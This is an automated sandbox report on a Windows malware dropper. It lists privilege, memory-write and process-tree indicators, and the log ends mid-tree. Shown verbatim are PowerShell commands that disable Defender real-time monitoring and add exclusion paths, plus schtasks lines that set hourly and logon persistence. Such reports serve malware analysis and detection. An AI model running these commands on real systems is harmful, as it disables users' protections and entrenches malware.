1232 Tue018f791563585c0f9.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 6096 cGRxPW4fmZTC8sVr_TJdyu1d.exe 6096 cGRxPW4fmZTC8sVr_TJdyu1d.exe 6096 cGRxPW4fmZTC8sVr_TJdyu1d.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeCreateTokenPrivilege 4588 Tue01bf08f313b912.exe Token: SeAssignPrimaryTokenPrivilege 4588 Tue01bf08f313b912.exe Token: SeLockMemoryPrivilege 4588 Tue01bf08f313b912.exe Token: SeIncreaseQuotaPrivilege 4588 Tue01bf08f313b912.exe Token: SeMachineAccountPrivilege 4588 Tue01bf08f313b912.exe Token: SeTcbPrivilege 4588 Tue01bf08f313b912.exe Token: SeSecurityPrivilege 4588 Tue01bf08f313b912.exe Token: SeTakeOwnershipPrivilege 4588 Tue01bf08f313b912.exe Token: SeLoadDriverPrivilege 4588 Tue01bf08f313b912.exe Token: SeSystemProfilePrivilege 4588 Tue01bf08f313b912.exe Token: SeSystemtimePrivilege 4588 Tue01bf08f313b912.exe Token: SeProfSingleProcessPrivilege 4588 Tue01bf08f313b912.exe Token: SeIncBasePriorityPrivilege 4588 Tue01bf08f313b912.exe Token: SeCreatePagefilePrivilege 4588 Tue01bf08f313b912.exe Token: SeCreatePermanentPrivilege 4588 Tue01bf08f313b912.exe Token: SeBackupPrivilege 4588 Tue01bf08f313b912.exe Token: SeRestorePrivilege 4588 Tue01bf08f313b912.exe Token: SeShutdownPrivilege 4588 Tue01bf08f313b912.exe Token: SeDebugPrivilege 4588 Tue01bf08f313b912.exe Token: SeAuditPrivilege 4588 Tue01bf08f313b912.exe Token: SeSystemEnvironmentPrivilege 4588 Tue01bf08f313b912.exe Token: SeChangeNotifyPrivilege 4588 Tue01bf08f313b912.exe Token: SeRemoteShutdownPrivilege 4588 Tue01bf08f313b912.exe Token: SeUndockPrivilege 4588 Tue01bf08f313b912.exe Token: SeSyncAgentPrivilege 4588 Tue01bf08f313b912.exe Token: SeEnableDelegationPrivilege 4588 Tue01bf08f313b912.exe Token: SeManageVolumePrivilege 4588 Tue01bf08f313b912.exe Token: SeImpersonatePrivilege 4588 Tue01bf08f313b912.exe Token: SeCreateGlobalPrivilege 4588 Tue01bf08f313b912.exe Token: 31 4588 Tue01bf08f313b912.exe Token: 32 4588 Tue01bf08f313b912.exe Token: 33 4588 Tue01bf08f313b912.exe Token: 34 4588 Tue01bf08f313b912.exe Token: 35 4588 Tue01bf08f313b912.exe Token: SeDebugPrivilege 3260 Tue010769fc7f9829.exe Token: SeDebugPrivilege 2928 powershell.exe Token: SeDebugPrivilege 2672 powershell.exe Token: SeDebugPrivilege 4664 Tue018bc5c5a0a3d4.exe Token: SeRestorePrivilege 4408 WerFault.exe Token: SeBackupPrivilege 4408 WerFault.exe Token: SeDebugPrivilege 6060 taskkill.exe Token: SeDebugPrivilege 6096 cGRxPW4fmZTC8sVr_TJdyu1d.exe Token: SeShutdownPrivilege 3208 Explorer.EXE Token: SeCreatePagefilePrivilege 3208 Explorer.EXE Token: SeShutdownPrivilege 3208 Explorer.EXE Token: SeCreatePagefilePrivilege 3208 Explorer.EXE Token: SeShutdownPrivilege 3208 Explorer.EXE Token: SeCreatePagefilePrivilege 3208 Explorer.EXE Token: SeShutdownPrivilege 3208 Explorer.EXE Token: SeCreatePagefilePrivilege 3208 Explorer.EXE Token: SeShutdownPrivilege 3208 Explorer.EXE Token: SeCreatePagefilePrivilege 3208 Explorer.EXE Token: SeShutdownPrivilege 3208 Explorer.EXE Token: SeCreatePagefilePrivilege 3208 Explorer.EXE Token: SeShutdownPrivilege 3208 Explorer.EXE Token: SeCreatePagefilePrivilege 3208 Explorer.EXE Token: SeShutdownPrivilege 3208 Explorer.EXE Token: SeCreatePagefilePrivilege 3208 Explorer.EXE Token: SeShutdownPrivilege 3208 Explorer.EXE Token: SeCreatePagefilePrivilege 3208 Explorer.EXE Token: SeShutdownPrivilege 3208 Explorer.EXE Token: SeCreatePagefilePrivilege 3208 Explorer.EXE Token: SeShutdownPrivilege 3208 Explorer.EXE Token: SeCreatePagefilePrivilege 3208 Explorer.EXE -
Suspicious use of FindShellTrayWindow 39 IoCs
pid Process 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe -
Suspicious use of SendNotifyMessage 38 IoCs
pid Process 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 4028 WerFault.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe 5952 run2.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1868 wrote to memory of 4008 1868 cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe 79 PID 1868 wrote to memory of 4008 1868 cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe 79 PID 1868 wrote to memory of 4008 1868 cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe 79 PID 4008 wrote to memory of 1080 4008 setup_installer.exe 80 PID 4008 wrote to memory of 1080 4008 setup_installer.exe 80 PID 4008 wrote to memory of 1080 4008 setup_installer.exe 80 PID 1080 wrote to memory of 4400 1080 setup_install.exe 84 PID 1080 wrote to memory of 4400 1080 setup_install.exe 84 PID 1080 wrote to memory of 4400 1080 setup_install.exe 84 PID 1080 wrote to memory of 3860 1080 setup_install.exe 85 PID 1080 wrote to memory of 3860 1080 setup_install.exe 85 PID 1080 wrote to memory of 3860 1080 setup_install.exe 85 PID 4400 wrote to memory of 2928 4400 cmd.exe 86 PID 4400 wrote to memory of 2928 4400 cmd.exe 86 PID 4400 wrote to memory of 2928 4400 cmd.exe 86 PID 1080 wrote to memory of 3984 1080 setup_install.exe 87 PID 1080 wrote to memory of 3984 1080 setup_install.exe 87 PID 1080 wrote to memory of 3984 1080 setup_install.exe 87 PID 3860 wrote to memory of 2672 3860 cmd.exe 88 PID 3860 wrote to memory of 2672 3860 cmd.exe 88 PID 3860 wrote to memory of 2672 3860 cmd.exe 88 PID 1080 wrote to memory of 2840 1080 setup_install.exe 91 PID 1080 wrote to memory of 2840 1080 setup_install.exe 91 PID 1080 wrote to memory of 2840 1080 setup_install.exe 91 PID 1080 wrote to memory of 4308 1080 setup_install.exe 89 PID 1080 wrote to memory of 4308 1080 setup_install.exe 89 PID 1080 wrote to memory of 4308 1080 setup_install.exe 89 PID 1080 wrote to memory of 4916 1080 setup_install.exe 90 PID 1080 wrote to memory of 4916 1080 setup_install.exe 90 PID 1080 wrote to memory of 4916 1080 setup_install.exe 90 PID 2840 wrote to memory of 4352 2840 cmd.exe 96 PID 2840 wrote to memory of 4352 2840 cmd.exe 96 PID 2840 wrote to memory of 4352 2840 cmd.exe 96 PID 1080 wrote to memory of 3144 1080 setup_install.exe 95 PID 1080 wrote to memory of 3144 1080 setup_install.exe 95 PID 1080 wrote to memory of 3144 1080 setup_install.exe 95 PID 3984 wrote to memory of 4784 3984 cmd.exe 94 PID 3984 wrote to memory of 4784 3984 cmd.exe 94 PID 3984 wrote to memory of 4784 3984 cmd.exe 94 PID 1080 wrote to memory of 1900 1080 setup_install.exe 92 PID 1080 wrote to memory of 1900 1080 setup_install.exe 92 PID 1080 wrote to memory of 1900 1080 setup_install.exe 92 PID 1080 wrote to memory of 3800 1080 setup_install.exe 93 PID 1080 wrote to memory of 3800 1080 setup_install.exe 93 PID 1080 wrote to memory of 3800 1080 setup_install.exe 93 PID 3144 wrote to memory of 4512 3144 cmd.exe 125 PID 3144 wrote to memory of 4512 3144 cmd.exe 125 PID 3144 wrote to memory of 4512 3144 cmd.exe 125 PID 1080 wrote to memory of 3068 1080 setup_install.exe 97 PID 1080 wrote to memory of 3068 1080 setup_install.exe 97 PID 1080 wrote to memory of 3068 1080 setup_install.exe 97 PID 4308 wrote to memory of 1892 4308 cmd.exe 124 PID 4308 wrote to memory of 1892 4308 cmd.exe 124 PID 1080 wrote to memory of 420 1080 setup_install.exe 98 PID 1080 wrote to memory of 420 1080 setup_install.exe 98 PID 1080 wrote to memory of 420 1080 setup_install.exe 98 PID 1080 wrote to memory of 1596 1080 setup_install.exe 101 PID 1080 wrote to memory of 1596 1080 setup_install.exe 101 PID 1080 wrote to memory of 1596 1080 setup_install.exe 101 PID 1080 wrote to memory of 4120 1080 setup_install.exe 99 PID 1080 wrote to memory of 4120 1080 setup_install.exe 99 PID 1080 wrote to memory of 4120 1080 setup_install.exe 99 PID 1080 wrote to memory of 3092 1080 setup_install.exe 100 PID 1080 wrote to memory of 3092 1080 setup_install.exe 100
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3208 -
C:\Users\Admin\AppData\Local\Temp\cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe"C:\Users\Admin\AppData\Local\Temp\cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1868 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4008 -
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\setup_install.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1080 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵
- Suspicious use of WriteProcessMemory
PID:4400 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2928
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious use of WriteProcessMemory
PID:3860 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2672
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01d702368dbba.exe5⤵
- Suspicious use of WriteProcessMemory
PID:3984 -
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01d702368dbba.exeTue01d702368dbba.exe6⤵
- Executes dropped EXE
PID:4784 -
C:\Users\Admin\AppData\Local\Temp\is-HE31D.tmp\Tue01d702368dbba.tmp"C:\Users\Admin\AppData\Local\Temp\is-HE31D.tmp\Tue01d702368dbba.tmp" /SL5="$20164,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01d702368dbba.exe"7⤵PID:2296
-
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01d702368dbba.exe"C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01d702368dbba.exe" /SILENT8⤵
- Executes dropped EXE
PID:2936 -
C:\Users\Admin\AppData\Local\Temp\is-FGQHL.tmp\Tue01d702368dbba.tmp"C:\Users\Admin\AppData\Local\Temp\is-FGQHL.tmp\Tue01d702368dbba.tmp" /SL5="$30210,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01d702368dbba.exe" /SILENT9⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5168
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01994ec7a792fea9.exe5⤵
- Suspicious use of WriteProcessMemory
PID:4308 -
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01994ec7a792fea9.exeTue01994ec7a792fea9.exe6⤵
- Executes dropped EXE
PID:1892 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\_Dzpafigaxd.vbs"7⤵PID:3376
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath C:\,'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google\Qekdqa.exe'8⤵PID:1644
-
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Dzpafigaxd.vbs"7⤵PID:4784
-
C:\Users\Admin\AppData\Local\Temp\Fphrgjtnjgrqbtrochalunsaintly_2021-10-24_21-38.exe"C:\Users\Admin\AppData\Local\Temp\Fphrgjtnjgrqbtrochalunsaintly_2021-10-24_21-38.exe"8⤵PID:5984
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5984 -s 2409⤵
- Program crash
PID:1876
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\MSBuild.exeC:\Users\Admin\AppData\Local\Temp\MSBuild.exe7⤵PID:4024
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com8⤵PID:4044
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue018f791563585c0f9.exe5⤵PID:4916
-
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue018f791563585c0f9.exeTue018f791563585c0f9.exe6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1232 -
C:\Users\Admin\Pictures\Adobe Films\msd56LegiJcpSW5Qshcgps2a.exe"C:\Users\Admin\Pictures\Adobe Films\msd56LegiJcpSW5Qshcgps2a.exe"7⤵
- Executes dropped EXE
PID:5656
-
-
C:\Users\Admin\Pictures\Adobe Films\eeqz_unejFCeAU0KaIsRC7SI.exe"C:\Users\Admin\Pictures\Adobe Films\eeqz_unejFCeAU0KaIsRC7SI.exe"7⤵
- Executes dropped EXE
PID:6128 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6128 -s 2968⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:3032
-
-
-
C:\Users\Admin\Pictures\Adobe Films\lBcUZ1CkjIsRxo2q0wHsg_kl.exe"C:\Users\Admin\Pictures\Adobe Films\lBcUZ1CkjIsRxo2q0wHsg_kl.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5000
-
-
C:\Users\Admin\Pictures\Adobe Films\PqKRE3hL8vp0kr_sy1mJeWdP.exe"C:\Users\Admin\Pictures\Adobe Films\PqKRE3hL8vp0kr_sy1mJeWdP.exe"7⤵
- Executes dropped EXE
PID:5128 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5128 -s 2808⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4028
-
-
-
C:\Users\Admin\Pictures\Adobe Films\cGRxPW4fmZTC8sVr_TJdyu1d.exe"C:\Users\Admin\Pictures\Adobe Films\cGRxPW4fmZTC8sVr_TJdyu1d.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:6096
-
-
C:\Users\Admin\Pictures\Adobe Films\Yz2QhNybWM57ajoxzA0zSeYd.exe"C:\Users\Admin\Pictures\Adobe Films\Yz2QhNybWM57ajoxzA0zSeYd.exe"7⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Executes dropped EXE
PID:3952 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3952 -s 2808⤵
- Program crash
PID:2848
-
-
-
C:\Users\Admin\Pictures\Adobe Films\TEMRIQNyOZtDBfTDon0xyWiE.exe"C:\Users\Admin\Pictures\Adobe Films\TEMRIQNyOZtDBfTDon0xyWiE.exe"7⤵PID:5968
-
C:\Users\Admin\Documents\0ztj4EoJoU7Xa9Q43SsYopxZ.exe"C:\Users\Admin\Documents\0ztj4EoJoU7Xa9Q43SsYopxZ.exe"8⤵PID:5636
-
C:\Users\Admin\Pictures\Adobe Films\1QpyE4lTnyD__g0tJtpbXhJX.exe"C:\Users\Admin\Pictures\Adobe Films\1QpyE4lTnyD__g0tJtpbXhJX.exe"9⤵PID:3860
-
-
C:\Users\Admin\Pictures\Adobe Films\ETWmZ2wCF2ieQ2CQGOuy4Rum.exe"C:\Users\Admin\Pictures\Adobe Films\ETWmZ2wCF2ieQ2CQGOuy4Rum.exe"9⤵PID:4828
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 30010⤵
- Program crash
PID:5460
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Mc1RITazx6lDE6y8mRkHgJUo.exe"C:\Users\Admin\Pictures\Adobe Films\Mc1RITazx6lDE6y8mRkHgJUo.exe"9⤵PID:1188
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1188 -s 28010⤵
- Program crash
PID:2904
-
-
-
C:\Users\Admin\Pictures\Adobe Films\nD1cN0yMOl5sUoUlh7vClYJd.exe"C:\Users\Admin\Pictures\Adobe Films\nD1cN0yMOl5sUoUlh7vClYJd.exe"9⤵PID:1356
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1356 -s 182410⤵
- Program crash
PID:6040
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ljbyAN5X_o9FG4oCn55ahc2J.exe"C:\Users\Admin\Pictures\Adobe Films\ljbyAN5X_o9FG4oCn55ahc2J.exe"9⤵PID:5864
-
C:\Users\Admin\Pictures\Adobe Films\ljbyAN5X_o9FG4oCn55ahc2J.exe"C:\Users\Admin\Pictures\Adobe Films\ljbyAN5X_o9FG4oCn55ahc2J.exe" -u10⤵PID:2980
-
-
-
C:\Users\Admin\Pictures\Adobe Films\uhPtAUvPm6y7qCrfuC77lVFT.exe"C:\Users\Admin\Pictures\Adobe Films\uhPtAUvPm6y7qCrfuC77lVFT.exe"9⤵PID:3276
-
-
C:\Users\Admin\Pictures\Adobe Films\Io86yyqjQ5rP21HmFeJTjrUV.exe"C:\Users\Admin\Pictures\Adobe Films\Io86yyqjQ5rP21HmFeJTjrUV.exe"9⤵PID:7036
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST8⤵
- Creates scheduled task(s)
PID:1840
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST8⤵
- Creates scheduled task(s)
PID:1488
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue0133c29150b.exe5⤵
- Suspicious use of WriteProcessMemory
PID:2840 -
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue0133c29150b.exeTue0133c29150b.exe6⤵
- Executes dropped EXE
PID:4352 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4352 -s 2807⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:3764
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01c451610f4a.exe5⤵PID:1900
-
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue01c451610f4a.exeTue01c451610f4a.exe6⤵
- Executes dropped EXE
PID:4028 -
C:\Users\Public\run.exeC:\Users\Public\run.exe7⤵
- Executes dropped EXE
PID:5920 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"8⤵PID:5212
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5920 -s 2848⤵
- Program crash
PID:5612
-
-
-
C:\Users\Public\run2.exeC:\Users\Public\run2.exe7⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5952 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/18tji78⤵PID:1964
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x110,0x114,0x118,0xec,0x11c,0x7ffcb98646f8,0x7ffcb9864708,0x7ffcb98647189⤵PID:5504
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:29⤵PID:2796
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 /prefetch:39⤵PID:2516
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2684 /prefetch:89⤵PID:6052
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3792 /prefetch:19⤵PID:2804
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3800 /prefetch:19⤵PID:3684
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4420 /prefetch:19⤵PID:3592
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5036 /prefetch:19⤵PID:3408
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5288 /prefetch:19⤵PID:5456
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5680 /prefetch:19⤵PID:5816
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5728 /prefetch:19⤵PID:4304
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5412 /prefetch:89⤵PID:560
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,17478201147214637808,4589298844617353953,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5412 /prefetch:89⤵PID:6020
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue010769fc7f9829.exe5⤵PID:3800
-
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue010769fc7f9829.exeTue010769fc7f9829.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3260
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue017abac33187.exe5⤵
- Suspicious use of WriteProcessMemory
PID:3144 -
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue017abac33187.exeTue017abac33187.exe6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4512 -
C:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue017abac33187.exeC:\Users\Admin\AppData\Local\Temp\7zS8AFCC7A4\Tue017abac33187.exe7⤵
- Executes dropped EXE
PID:5204 -
